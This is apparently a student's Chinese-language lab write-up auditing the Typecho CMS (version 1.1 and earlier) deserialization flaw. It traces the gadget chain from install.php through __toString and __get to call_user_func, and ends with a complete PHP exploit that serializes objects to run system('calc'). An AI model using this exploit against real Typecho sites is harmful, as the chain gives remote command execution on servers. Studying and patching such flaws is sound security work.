TypechoCMS 反序列化漏洞
前言
这学期的专业实习周的第七个实验:Typecho CMS反序列化漏洞的代码审计,因为是学校的实验内容,所以难度也会比较低一些
环境搭建
Typecho CMS官方:https://typecho.org/
漏洞影响版本:Typecho ≤ 1.1(15.5.12)
下载链接:Release Typecho 1.1(15.5.12) · typecho/typecho (github.com)
漏洞分析工具:Php Strom 2021.3
使用php版本:7.0.9
漏洞安装也是比较简单的,直接看下安装后的页面:
当然环境搭建这块我们也可以使用Docker进行搭建,但是为了方便Debug(使用Docker也可以进行远程调试),还是搭建在本地比较舒适
漏洞分析
漏洞入口:install.php:230
如下图,Typecho_Cookie::get
方法从Cookie
或POST
中获取值,该值可控导致可以构造任意序列化值使其反序列化
在触发反序列化漏洞之前还需要满足几个条件:
- 存在
finish
参数,不然就会exit
- 需要存在
Referer
请求头并与Host
相同
需要触发反序列化去看一下__wakeup
和__desturct
方法
function __wakeup
不存在
function __destruct
如下图,查看代码发现都无法触发任何的魔术方法(此路不通),那就从刚才的代码继续往下看
在install.php:232
使用了刚刚接收反序列化对象的$config
查看Typecho_Db
类的构造方法,在Db.php:120
进行了字符串凭借,对应实参$config['adapter']
,这里可以触发__toString
方法
查看存在__toString
方法的类
不难看出Config.php::__toString
毫无利用价值
Query.php::__toString
里边也都是一些SQL操作,最多也只能触发到__toString
,同样无法利用
在Feed.php::__toString:290
处可以看到可以利用的地方
这里可以触发__get
方法很容易可以定位到Request.php::__get
通过这里触发__get
之前需要满足的条件:
然后到刚才的__get
方法,执行了Request.php::get
在310行调用Request.php::_applyFilter
其中call_user_func
和array_map
均为危险函数,可以调用任意函数进行命令执行
EXP
因为链子比较短,直接就写exp了
<?php
class Typecho_Feed
{
private $_items = array();
private $_type;
public function __construct()
{
$this->_type = "RSS 2.0";
$this->_items = [["author"=>new Typecho_Request]];
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
$this->_params = ["screenName"=>"calc"];
$this->_filter = ["system"];
}
}
$o = new Typecho_Feed();
$a = ["adapter"=>$o, "prefix"=>"ggbond"];
echo base64_encode(serialize($a));